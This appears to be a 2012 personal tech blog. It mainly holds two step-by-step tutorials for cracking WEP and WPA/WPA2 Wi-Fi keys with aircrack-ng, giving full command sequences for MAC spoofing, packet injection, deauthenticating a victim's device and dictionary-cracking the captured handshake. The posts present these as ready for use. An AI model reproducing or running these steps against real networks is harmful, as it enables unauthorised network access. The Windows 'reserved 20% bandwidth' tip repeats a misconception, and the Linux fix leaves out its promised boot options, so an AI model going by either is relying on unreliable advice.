Wednesday, 29 August 2012

How to increase your bandwidth in Win 7

Exceptionally a tip for Win 7. Windows uses up to 20% of the bandwidth, but you can change this with the following steps.

Run gpedit.msc

==> administrative settings ==>  network ==> qos packet scheduler ==> open LIMIT RESERVABLE BANDWIDTH

==> click on ENABLE and limit bandwidth to 0%.


Thats it!

Tuesday, 28 August 2012

Linux Mint 13 - Black screen fix (live USB)

Recently I switched from Ubuntu to Linux Mint 13 on my HP mini netbook. Unfortunately I encountered a  'black-screen problem' similar to the one I already knew from Backtrack 5 ( ).

The solution was:

press TAB
add to the line  "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card):


If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel.

I had success with that. Hope it works for you too!

Sunday, 19 August 2012

Tuesday, 14 August 2012

How to crack WEP with aircrack-ng (Backtrack)

Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you.

- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode. It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger -m 00:11:22:33:44:55 wlan0
  4. ifconfig wlan0 up
  5. airmon-ng start wlan0 
  6. ifconfig mon0 down
  7. macchanger -r (random mac) mon0
  8. ifconfig mon0 up
  9. airodump-ng mon0 (scan for APs)
  10. Wait for a minute
  11. CTRL + C (stop scanning)
  12. Pick your own AP with WEP encryption
  13. airodump-ng -c (channel) -w (filename) —bssid (xx:xx:xx:xx:xx:xx) mon0
    • -w file, in which the data will be saved.
  14. —You need around 10k of data to successfully crack WEP—
  15. Open another console
  16. aireplay-ng -1 0 -a (BSSID) -e (ESSID) mon0
  17. Wait for ”Association succcessful”
  18. aireplay-ng -3 -b (BSSID) -e (ESSID) mon0 (starts the injection)
    • data in the other console should now  increase significantly
  19. open another console
  20. aircrack-ng (filename.cap) 
    •  path to the file from step 13. e.g. ~/Desktop/test.cap
  21. Wait for —Key Found—
  22. Enter Key without ‘:’.
This can be done in approx. 10 minutes. Have fun!

How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

  • Backtrack (or Linux with aircrack-ng installed)
  • Virtual machine (e.g. Vmware or Virtualbox)
  • Password list
  • USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H

Alright, fire up the terminal.


  1. airmon-ng
  2. airmon-ng start wlan0
  3. ifconfig mon0 down
  4. macchanger -m 00:11:22:33:44:55 mon0
  5. ifconfig mon0 up
  6. airodump-ng mon0 (let it scan for a minute)
  7. CTRL + C (stop)
  8. airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

 Now, we need to deauthenticate a user's pc currently on the network (mac)

  1. open another console
  2. aireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0
  3. Wait for WPA handshake ==> airodump-ng
  4. —-all cracking can be done offline—-
  5. aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
    • this is the file from step 8
Note: Success of attack depends on whether your word-list contains the password or not.


Any problems? Ask!